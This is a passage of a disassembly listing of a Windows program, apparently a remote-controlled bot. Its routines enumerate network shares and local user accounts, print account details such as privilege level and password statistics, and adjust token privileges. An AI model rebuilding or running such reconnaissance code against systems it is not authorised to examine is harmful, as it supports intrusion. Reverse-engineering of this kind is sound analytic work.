		call	sub_41CFC5
		pop	ecx
		mov	ebx, eax
		push	edi
		push	ebx
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	0
		call	esi
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_418C2A	endp


; =============== S U B	R O U T	I N E =======================================



sub_418C6B	proc near		; CODE XREF: sub_418A98+20p
					; sub_419E79+1BBp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_418C2A
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_418C2A
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	dword_4CAE70
		pop	esi
		retn
sub_418C6B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418C8E	proc near		; CODE XREF: sub_401ACD+46B0p

var_210		= byte ptr -210h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		call	sub_418C2A
		xor	esi, esi
		mov	[ebp+var_C], eax
		push	esi
		mov	[ebp+arg_C], esi
		push	[ebp+arg_8]
		mov	[ebp+var_8], esi
		mov	[ebp+var_10], esi
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 18h

loc_418CC7:				; CODE XREF: sub_418C8E+10Fj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	[ebp+var_C]
		call	dword_4CAEE8
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_418D2A
		cmp	ebx, 0EAh
		jz	short loc_418D2A
		push	ebx
		push	ebx
		call	sub_41945F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	offset unk_4390D0
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 24h
		jmp	short loc_418D97
; ---------------------------------------------------------------------------

loc_418D2A:				; CODE XREF: sub_418C8E+5Dj
					; sub_418C8E+65j
		push	1
		pop	edi
		cmp	[ebp+arg_C], edi
		jb	short loc_418D8E
		mov	eax, [ebp+var_4]
		lea	esi, [eax+14h]

loc_418D38:				; CODE XREF: sub_418C8E+FCj
		push	dword ptr [esi+10h]
		call	dword_4CAE8C
		test	eax, eax
		mov	eax, offset aYes ; "Yes"
		jnz	short loc_418D4F
		mov	eax, offset aNo	; "No"

loc_418D4F:				; CODE XREF: sub_418C8E+BAj
		push	eax
		lea	eax, [ebp+var_210]
		push	dword ptr [esi]
		push	dword ptr [esi+4]
		push	dword ptr [esi-14h]
		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 2Ch
		add	esi, 28h
		inc	edi
		cmp	edi, [ebp+arg_C]
		jbe	short loc_418D38
		xor	esi, esi

loc_418D8E:				; CODE XREF: sub_418C8E+A2j
		push	[ebp+var_4]
		call	dword_4CB034

loc_418D97:				; CODE XREF: sub_418C8E+9Aj
		cmp	ebx, 0EAh
		jz	loc_418CC7
		xor	eax, eax
		cmp	ebx, esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_418C8E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418DAF	proc near		; CODE XREF: sub_401ACD:loc_4061EEp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_418E54
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, edi
		jz	short loc_418DF1
		dec	eax
		jz	short loc_418DE6
		dec	eax
		jnz	short loc_418E0C
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	ebx
		push	edi
		call	sub_418EF6
		add	esp, 14h
		jmp	short loc_418E08
; ---------------------------------------------------------------------------

loc_418DE6:				; CODE XREF: sub_418DAF+1Dj
		push	ebx
		push	edi
		call	sub_418ED5
		pop	ecx
		pop	ecx
		jmp	short loc_418E08
; ---------------------------------------------------------------------------

loc_418DF1:				; CODE XREF: sub_418DAF+1Aj
		cmp	[ebp+arg_8], edi
		jz	short loc_418E05
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_418E7B
		add	esp, 0Ch
		jmp	short loc_418E08
; ---------------------------------------------------------------------------

loc_418E05:				; CODE XREF: sub_418DAF+45j
		push	57h
		pop	eax

loc_418E08:				; CODE XREF: sub_418DAF+35j
					; sub_418DAF+40j ...
		cmp	eax, edi
		jnz	short loc_418E2C

loc_418E0C:				; CODE XREF: sub_418DAF+20j
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4DAE20
		push	off_4389DC[eax*4]
		push	offset unk_439188
		push	esi
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_418E74
; ---------------------------------------------------------------------------

loc_418E2C:				; CODE XREF: sub_418DAF+5Bj
		push	eax
		call	sub_41945F
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4DAE20
		push	off_4389D8[eax*4]
		push	offset unk_439158
		push	esi
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_418E74
; ---------------------------------------------------------------------------

loc_418E54:				; CODE XREF: sub_418DAF+Dj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4DAE20
		lea	eax, [eax+eax*2]
		push	off_4389D8[eax*4]
		push	offset unk_439130
		push	esi
		call	sub_41B886
		add	esp, 0Ch

loc_418E74:				; CODE XREF: sub_418DAF+7Bj
					; sub_418DAF+A3j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_418DAF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418E7B	proc near		; CODE XREF: sub_418DAF+4Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_4], 0
		push	edi
		push	[ebp+arg_0]
		call	sub_418C2A
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_418C2A
		push	[ebp+arg_8]
		mov	[ebp+var_24], eax
		call	sub_418C2A
		add	esp, 0Ch
		mov	[ebp+var_20], eax
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		push	1
		and	[ebp+var_8], 0
		pop	eax
		lea	ecx, [ebp+var_4]
		push	ecx
		lea	ecx, [ebp+var_24]
		push	ecx
		push	eax
		push	edi
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], 10001h
		call	dword_4CAE7C
		pop	edi
		leave
		retn
sub_418E7B	endp


; =============== S U B	R O U T	I N E =======================================



sub_418ED5	proc near		; CODE XREF: sub_418DAF+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_418C2A
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_418C2A
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	dword_4CAE6C
		pop	esi
		retn
sub_418ED5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418EF6	proc near		; CODE XREF: sub_418DAF+2Dp

var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		and	[ebp+var_4], 0
		push	esi
		push	[ebp+arg_0]
		call	sub_418C2A
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_418C2A
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Bh
		push	eax
		push	esi
		call	dword_4CAFFC
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	loc_41929E
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	loc_4192D9
		push	ebx
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+var_204]
		push	offset aAccountS ; "Account: %S"
		push	eax
		call	sub_41B886
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+arg_C]
		mov	ebx, [ebp+arg_8]
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_204]
		push	offset aFullNameS ; "Full Name:	%S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_204]
		push	offset aUserCommentS ; "User Comment: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_204]
		push	offset aCommentS ; "Comment: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		mov	eax, [eax+10h]
		sub	eax, 0
		jz	short loc_419015
		dec	eax
		jz	short loc_41900E
		dec	eax
		jz	short loc_419007
		mov	eax, offset aUnknown ; "Unknown"
		jmp	short loc_41901A
; ---------------------------------------------------------------------------

loc_419007:				; CODE XREF: sub_418EF6+108j
		mov	eax, offset aAdministrator ; "Administrator"
		jmp	short loc_41901A
; ---------------------------------------------------------------------------

loc_41900E:				; CODE XREF: sub_418EF6+105j
		mov	eax, offset aUser_1 ; "User"
		jmp	short loc_41901A
; ---------------------------------------------------------------------------

loc_419015:				; CODE XREF: sub_418EF6+102j
		mov	eax, offset aGuest ; "Guest"

loc_41901A:				; CODE XREF: sub_418EF6+10Fj
					; sub_418EF6+116j ...
		push	eax
		lea	eax, [ebp+var_204]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+14h]
		lea	eax, [ebp+var_204]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_204]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+20h]
		lea	eax, [ebp+var_204]
		push	offset aParametersS ; "Parameters: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+18h]
		lea	eax, [ebp+var_204]
		push	offset aPasswordAgeD ; "Password Age: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+2Ch]
		lea	eax, [ebp+var_204]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+30h]
		lea	eax, [ebp+var_204]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+24h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogonD ; "Last Logon: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+28h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+34h]
		lea	eax, [ebp+var_204]
		push	offset aLogonServerS ; "Logon Server: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+3Ch]
		lea	eax, [ebp+var_204]
		push	offset aWorkstationsS ;	"Workstations: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+38h]
		lea	eax, [ebp+var_204]
		push	offset aCountryCodeD ; "Country	Code: %d"
		push	eax
		call	sub_41B886
		push	1
		push	esi
		lea	eax, [ebp+var_204]
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4Ch]
		lea	eax, [ebp+var_204]
		push	offset aUserSLanguageD ; "User's Language: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+40h]
		lea	eax, [ebp+var_204]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+44h]
		lea	eax, [ebp+var_204]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		add	esp, 20h
		pop	edi
		pop	ebx
		jmp	short loc_4192CA
; ---------------------------------------------------------------------------

loc_41929E:				; CODE XREF: sub_418EF6+35j
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_4391A8
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_204]
		push	[ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_409A72
		add	esp, 20h

loc_4192CA:				; CODE XREF: sub_418EF6+3A6j
		cmp	[ebp+var_4], 0
		jz	short loc_4192D9
		push	[ebp+var_4]
		call	dword_4CB034

loc_4192D9:				; CODE XREF: sub_418EF6+40j
					; sub_418EF6+3D8j
		mov	eax, [ebp+arg_0]
		pop	esi
		leave
		retn
sub_418EF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4192DF	proc near		; CODE XREF: sub_401ACD+473Bp

var_218		= byte ptr -218h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	[ebp+arg_C]
		mov	[ebp+var_4], esi
		call	sub_418C2A
		push	esi
		mov	[ebp+var_14], eax
		push	[ebp+arg_8]
		mov	[ebp+arg_C], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_10], esi
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		mov	[ebp+var_8], esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 18h

loc_41931E:				; CODE XREF: sub_4192DF+135j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	2
		push	esi
		push	[ebp+var_14]
		call	dword_4CAF04
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	short loc_41937F
		cmp	eax, 0EAh
		jz	short loc_41937F
		push	eax
		push	eax
		call	sub_41945F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_218]
		push	offset unk_439398
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 24h
		jmp	short loc_4193FA
; ---------------------------------------------------------------------------

loc_41937F:				; CODE XREF: sub_4192DF+62j
					; sub_4192DF+69j
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	loc_41940D
		xor	ebx, ebx
		cmp	[ebp+arg_C], esi
		jbe	short loc_4193FA

loc_419391:				; CODE XREF: sub_4192DF+EDj
		cmp	edi, esi
		jz	short loc_4193D0
		push	dword ptr [edi]
		lea	eax, [ebp+var_218]
		push	offset aS_4	; "  %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h
		add	edi, 4
		inc	[ebp+var_8]
		inc	ebx
		cmp	ebx, [ebp+arg_C]
		jb	short loc_419391
		jmp	short loc_4193FA
; ---------------------------------------------------------------------------

loc_4193D0:				; CODE XREF: sub_4192DF+B4j
		lea	eax, [ebp+var_218]
		push	offset unk_439364
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 1Ch

loc_4193FA:				; CODE XREF: sub_4192DF+9Ej
					; sub_4192DF+B0j ...
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_41940D
		push	edi
		call	dword_4CB034
		xor	edi, edi
		mov	[ebp+var_4], edi

loc_41940D:				; CODE XREF: sub_4192DF+A5j
					; sub_4192DF+120j
		cmp	[ebp+var_C], 0EAh
		jz	loc_41931E
		cmp	edi, esi
		jz	short loc_419425
		push	edi
		call	dword_4CB034

loc_419425:				; CODE XREF: sub_4192DF+13Dj
		push	[ebp+var_8]
		lea	eax, [ebp+var_218]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h
		xor	eax, eax
		cmp	[ebp+var_C], esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_4192DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_41945F	proc near		; CODE XREF: sub_418A98+41p
					; sub_418C8E+69p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 858h
		cmp	eax, ecx
		ja	loc_419511
		jz	loc_41950A
		cmp	eax, 7Bh
		ja	short loc_4194D6
		jz	short loc_4194CC
		cmp	eax, 5
		jz	short loc_4194C2
		cmp	eax, 8
		jz	short loc_4194B8
		cmp	eax, 32h
		jz	short loc_4194AE
		cmp	eax, 35h
		jz	short loc_4194A4
		cmp	eax, 57h
		jnz	loc_419560
		push	offset aInvalidParamet ; "Invalid parameter."
		jmp	loc_419581
; ---------------------------------------------------------------------------

loc_4194A4:				; CODE XREF: sub_41945F+30j
		push	offset aServerNameNotF ; "Server name not found."
		jmp	loc_419581
; ---------------------------------------------------------------------------

loc_4194AE:				; CODE XREF: sub_41945F+2Bj
		push	offset aThisNetworkReq ; "This network request is not supported."
		jmp	loc_419581
; ---------------------------------------------------------------------------

loc_4194B8:				; CODE XREF: sub_41945F+26j
		push	offset aNotEnoughMemor ; "Not enough memory."
		jmp	loc_419581
; ---------------------------------------------------------------------------

loc_4194C2:				; CODE XREF: sub_41945F+21j
		push	offset aAccessDenied_ ;	"Access	denied."
		jmp	loc_419581
; ---------------------------------------------------------------------------

loc_4194CC:				; CODE XREF: sub_41945F+1Cj
		push	offset aTheNameIsInval ; "The name is invalid."
		jmp	loc_419581
; ---------------------------------------------------------------------------

loc_4194D6:				; CODE XREF: sub_41945F+1Aj
		sub	eax, 7Ch
		jz	short loc_419503
		sub	eax, 7C8h
		jz	short loc_4194FC
		dec	eax
		jz	short loc_4194F2
		dec	eax
		jnz	short loc_419560
		push	offset aDuplicateShare ; "Duplicate share name."
		jmp	loc_419581
; ---------------------------------------------------------------------------

loc_4194F2:				; CODE XREF: sub_41945F+84j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		jmp	loc_419581
; ---------------------------------------------------------------------------

loc_4194FC:				; CODE XREF: sub_41945F+81j
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_419503:				; CODE XREF: sub_41945F+7Aj
		push	offset aLevelParameter ; "Level	parameter is invalid."
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_41950A:				; CODE XREF: sub_41945F+11j
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_419511:				; CODE XREF: sub_41945F+Bj
		mov	ecx, 8C5h
		cmp	eax, ecx
		ja	short loc_41954A
		jz	short loc_419543
		sub	eax, 8ADh
		jz	short loc_419575
		dec	eax
		dec	eax
		jz	short loc_41953C
		dec	eax
		jz	short loc_419535
		dec	eax
		dec	eax
		jnz	short loc_419560
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_419535:				; CODE XREF: sub_41945F+C9j
		push	offset aTheUserAccount ; "The user account already exists."
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_41953C:				; CODE XREF: sub_41945F+C6j
		push	offset aTheGroupAlread ; "The group already exists."
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_419543:				; CODE XREF: sub_41945F+BBj
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_41954A:				; CODE XREF: sub_41945F+B9j
		sub	eax, 8CAh
		jz	short loc_41957C
		sub	eax, 17h
		jz	short loc_419575
		sub	eax, 25h
		jz	short loc_41956E
		sub	eax, 29h
		jz	short loc_419567

loc_419560:				; CODE XREF: sub_41945F+35j
					; sub_41945F+87j ...
		push	offset aAnUnknownErr_0 ; "An unknown error occurred."
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_419567:				; CODE XREF: sub_41945F+FFj
		push	offset aTheComputerNam ; "The computer name is invalid."
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_41956E:				; CODE XREF: sub_41945F+FAj
		push	offset aShareNotFound_ ; "Share	not found."
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_419575:				; CODE XREF: sub_41945F+C2j
					; sub_41945F+F5j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_41957C:				; CODE XREF: sub_41945F+F0j
		push	offset aNetworkConnect ; "Network connection not found."

loc_419581:				; CODE XREF: sub_41945F+40j
					; sub_41945F+4Aj ...
		push	offset dword_4DABC0
		call	sub_41B886
		pop	ecx
		mov	eax, offset dword_4DABC0
		pop	ecx
		retn
sub_41945F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419593	proc near		; CODE XREF: sub_401ACD+4781p

var_718		= byte ptr -718h
var_318		= byte ptr -318h
var_108		= byte ptr -108h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 718h
		push	esi
		push	200h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41D834
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		mov	esi, 108h
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		mov	[ebp+arg_0], esi
		nop
		call	near ptr 26B0000h
		lea	eax, [ebp+var_108]
		push	esi
		push	eax
		lea	eax, [ebp+var_318]
		push	eax
		call	sub_41D834
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41D817
		add	esp, 10h
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_718]
		push	eax
		lea	eax, [ebp+var_318]
		push	0
		push	eax
		push	0
		call	dword_4CAFB4
		test	eax, eax
		jnz	short loc_419623
		mov	esi, offset dword_4DA9BC
		push	offset unk_4396CC
		push	esi
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_41964C
; ---------------------------------------------------------------------------

loc_419623:				; CODE XREF: sub_419593+7Aj
		lea	ecx, [ebp+var_718]
		push	ecx
		lea	ecx, [ebp+var_318]
		push	ecx
		push	eax
		call	sub_41945F
		pop	ecx
		mov	esi, offset dword_4DA9BC
		push	eax
		push	offset dword_4396A0
		push	esi
		call	sub_41B886
		add	esp, 14h

loc_41964C:				; CODE XREF: sub_419593+8Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419593	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419651	proc near		; CODE XREF: sub_416F1A+45p
					; sub_416F1A+166p ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		nop
		call	near ptr 270060Dh
		push	eax
		call	dword_4CAF88
		test	eax, eax
		jnz	short loc_419670
		leave
		retn
; ---------------------------------------------------------------------------

loc_419670:				; CODE XREF: sub_419651+1Bj
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		xor	esi, esi
		push	[ebp+arg_0]
		push	esi
		call	dword_4CAF60
		test	eax, eax
		jz	short loc_4196AE
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_419697
		or	[ebp+var_8], 2
		jmp	short loc_41969B
; ---------------------------------------------------------------------------

loc_419697:				; CODE XREF: sub_419651+3Ej
		and	[ebp+var_8], 0FFFFFFFDh

loc_41969B:				; CODE XREF: sub_419651+44j
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	esi
		push	[ebp+var_4]
		call	dword_4CB010
		mov	esi, eax

loc_4196AE:				; CODE XREF: sub_419651+32j
		push	[ebp+var_4]
		nop
		call	near ptr 2650939h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419651	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4196BC	proc near		; CODE XREF: sub_401ACD+7915p
					; sub_4198EB+74p

var_554		= byte ptr -554h
var_354		= dword	ptr -354h
var_350		= byte ptr -350h
var_234		= byte ptr -234h
var_130		= dword	ptr -130h
var_12C		= byte ptr -12Ch
var_128		= dword	ptr -128h
var_10C		= byte ptr -10Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 554h
		push	ebx
		push	esi
		push	edi
		push	49h
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		cmp	dword_4CAFC4, ebx
		lea	edi, [ebp+var_12C]
		mov	[ebp+var_130], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp+var_350]
		mov	[ebp+var_354], ebx
		rep stosd
		jz	loc_4198BB
		cmp	dword_4CAFA8, ebx
		jz	loc_4198BB
